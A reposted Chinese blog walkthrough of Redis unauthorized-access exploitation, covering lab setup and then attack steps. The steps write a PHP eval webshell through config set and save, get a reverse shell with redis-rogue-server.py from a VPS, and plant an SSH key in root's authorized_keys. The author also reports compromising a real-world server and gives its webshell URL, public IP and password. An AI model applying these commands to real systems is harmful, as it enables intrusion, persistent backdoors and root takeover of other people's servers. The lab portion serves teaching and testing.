Redis未授权漏洞复现

admin 2022年4月13日22:50:19评论68 views字数 2524阅读8分24秒阅读模式

漏洞环境

Ubuntu环境
链接:https://pan.baidu.com/s/1crfnHpc-XGE23bFXSDhM0g
提取码:nlsz
Kali环境
链接:https://pan.baidu.com/s/1RgN8A6k6t5QXaHpJewFg-A
提取码:t6u1
Ubuntu作为靶机
Kali用来攻击靶机
Redis环境
http://download.redis.io/releases/redis-3.2.11.tar.gz

漏洞危害

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作,可往网站的根目录写入后门文件进而get shell,也可以通过上传exp来进行反弹shell进而命令执行。攻击者也可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应的私钥直接使用ssh服务登录目标服务器实现免密登陆。(即未授权访问,get shell,反弹shell,免密登陆)

漏洞复现

环境搭建:ubuntukali同时进行

:安装redis服务

从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

Redis未授权漏洞复现

Redis未授权漏洞复现

下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
然后进入解压后的目录:cd redis-3.2.11,输入make并执行

出现如下即编译成功:

Redis未授权漏洞复现

Redis未授权漏洞复现

make结束后,进入src目录:cd src切换成root权限,redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

Redis未授权漏洞复现

Redis未授权漏洞复现

启动服务redis-server

Redis未授权漏洞复现

Redis未授权漏洞复现

此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server:

ls /usr/bin | grep redis

Redis未授权漏洞复现

Redis未授权漏洞复现

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

cp redis.conf /etc

Redis未授权漏洞复现

Redis未授权漏洞复现

编辑etc中的redis配置文件redis.conf
gedit /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务: 加个#即可

Redis未授权漏洞复现

Redis未授权漏洞复现

关闭保护模式,允许远程连接redis服务:yes改为no

Redis未授权漏洞复现

Redis未授权漏洞复现

然后重启这俩虚拟机,开启redis服务,到这里即可去验证redis未授权访问、get shell和反弹shell漏洞了。

验证成功,我们来看免密登陆漏洞

:安装ssh服务

由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动

Redis未授权漏洞复现

Redis未授权漏洞复现

说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e | ssh

然后ubuntu上创建一个文件

mkdir /root/.ssh

Redis未授权漏洞复现

然后去验证免密登陆漏洞

:漏洞复现利用场景

Redis未授权访问

Ubuntu:192.168.237.140

Kali:192.168.237.141

使用kali去攻击ubuntu(一定记住修改完redis的配置文件要重启这俩虚拟机,开启redis服务)

./redis-cli -h 192.168.237.140

Redis未授权漏洞复现

Get shell

使用kali去攻击ubuntu

先查看ubuntu上的网站的根目录

config get dir

Redis未授权漏洞复现

假如红框内的路径为网站的根目录(网站根目录还是比较难找的,可以使用网站的phpinfo或者利用报错信息爆路径以及js包路径泄露等方式)

我们把shell写入红框的路径下

config set dir /home/zhang/  #靶机 Web 网站的目录
config set db filename zjt.php # 写入的文件名
set webshell "<?php @eval($_POST[1])?>" # shell内容
save # 保存

Redis未授权漏洞复现

同时也可以查看ubuntu验证一下是否写入成功

Redis未授权漏洞复现

然后直接连接即可

哈哈哈  比较幸运,下午刚发完推文晚上就碰到一个实战,成功get shell

Redis未授权漏洞复现

此时马儿已经写入到网站的根目录下了,未授权访问的端口是41436,但是网站对应的端口是41435所以连接马儿的时候也是使用的网站对应的端口41435

http://119.3.187.27:41435/shell.php口令为cmd

Redis未授权漏洞复现

反弹shell执行系统命令

Exp链接:https://pan.baidu.com/s/158yZDDMFPgOyIbd1QOVTuw 提取码:55u3

目标站点:

152.136.107.*

Vps:

65.49.206.*

首先把exp的文件下载解压

Redis未授权漏洞复现

登录vps新建文件夹4-5进入目录4-5然后使用rz命令把箭头指向的这俩文件传入到vps4-5目录下

Redis未授权漏洞复现

执行语句(7141端口就是任意选取的vps的监听端口,随意设置就行)python3 redis-rogue-server.py --rhost 152.136.107.* --rport 6379 --lhost 65.49.206.* --lport 7141得到shell执行命令whoamils

Redis未授权漏洞复现

免密登陆

首先在kali生成ssh公钥和私钥,密码设置为空

Redis未授权漏洞复现

进入.ssh目录将生成的公钥保存到ssh.txt

Redis未授权漏洞复现

ssh.txt通过redis未授权访问漏洞写入ubuntu

这里需要注意箭头指向的test这个test不是随便写的,是未授权访问漏洞执行keys * 得到的,得到的是什么用户名这里就写什么用户名

Redis未授权漏洞复现

Kali使用未授权访问漏洞执行命令config get dir得到redis备份的路径

Redis未授权漏洞复现

更改备份路径为/root/.ssh/

Redis未授权漏洞复现

设置上传公钥的备份文件名字为authorized_keys检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上

Redis未授权漏洞复现

可以登录ubuntu进行验证,写入成功

Redis未授权漏洞复现

使用kali免密登陆到ubuntu 

Redis未授权漏洞复现

登录成功


原文始发于微信公众号(赛瑞攻防实验室):Redis未授权漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月13日22:50:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权漏洞复现http://cn-sec.com/archives/886780.html

发表评论

匿名网友 填写信息